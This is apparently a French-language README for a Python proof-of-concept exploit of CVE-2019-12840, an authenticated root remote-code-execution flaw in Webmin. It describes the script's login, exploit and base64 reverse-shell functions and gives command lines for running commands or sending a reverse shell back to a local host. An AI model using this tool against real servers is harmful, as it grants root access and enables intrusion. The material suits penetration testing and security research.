
Ceci est une preuve de concept personnelle et basique de la vulnérabilité CVE-2019-12840 qui vous donne un RCE en root
Ce dépôt contient un script Python qui exploite la vulnérabilité CVE-2019-12840 dans Webmin.
Le script tente de se connecter à un serveur Webmin, puis d'exploiter la vulnérabilité CVE-2019-12840. Le script accepte plusieurs arguments en ligne de commande, notamment le nom d'utilisateur et le mot de passe pour se connecter au serveur Webmin, l'URL du serveur, le port du serveur, le port local pour le shell inversé, et une commande à exécuter sur le serveur.
Pour utiliser ce script, vous devez fournir au moins le nom d'utilisateur, le mot de passe et l'URL du serveur Webmin. Voici un exemple d'utilisation du script :
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
Le script Python dans ce dépôt est structuré comme suit :
Importation de modules : Le script commence par importer plusieurs modules Python nécessaires à son fonctionnement. Ceux-ci incluent requests pour faire des requêtes HTTP, argparse pour gérer les arguments de ligne de commande, base64 pour l'encodage et le décodage en base64, et BeautifulSoup pour analyser le HTML.
Définition de fonctions : Le script définit plusieurs fonctions :
CVE_2019_12840(url,auth_base64,cmd)login(username,password,url) : Cette fonction tente de se connecter au serveur Webmin avec un nom d'utilisateur et un mot de passe fournis.exploit(sid,url,cmd) : Cette fonction tente d'exploiter la vulnérabilité CVE-2019-12840 sur le serveur Webmin.b64revshell(lhost,lport) : Cette fonction génère un shell inversé encodé en base64.Gestion des arguments de ligne de commande : Le script accepte plusieurs arguments de ligne de commande, notamment le nom d'utilisateur et le mot de passe pour se connecter au serveur Webmin, l'URL du serveur, le port du serveur, le port local pour le shell inversé, et une commande à exécuter sur le serveur.
Exécution de l'exploit : Si le script est exécuté comme un programme indépendant (plutôt que d'être importé comme un module), il tentera de se connecter au serveur Webmin, puis exécutera l'exploit.
Le script accepte plusieurs arguments en ligne de commande. Voici un exemple d'utilisation du script :
python3 CVE-2019-12840.py -h
Cela affichera l'aide du programme, qui inclut ce qui suit :
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
Ce script est un exploit de sécurité et ne doit être utilisé qu'à des fins légitimes, telles que des tests d'intrusion ou des recherches en sécurité. Il ne doit pas être utilisé pour des activités illégales. De plus, ce script est conçu pour être utilisé avec des serveurs Webmin vulnérables à la CVE-2019-12840, il peut donc ne pas fonctionner avec toutes les versions de Webmin.